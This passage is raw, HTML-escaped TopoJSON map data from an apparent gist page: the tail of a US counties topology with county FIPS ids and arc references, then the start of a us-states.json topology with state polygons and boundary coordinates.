rcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/c812bfdde1e6f06a4a437eb7112a02d4">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29]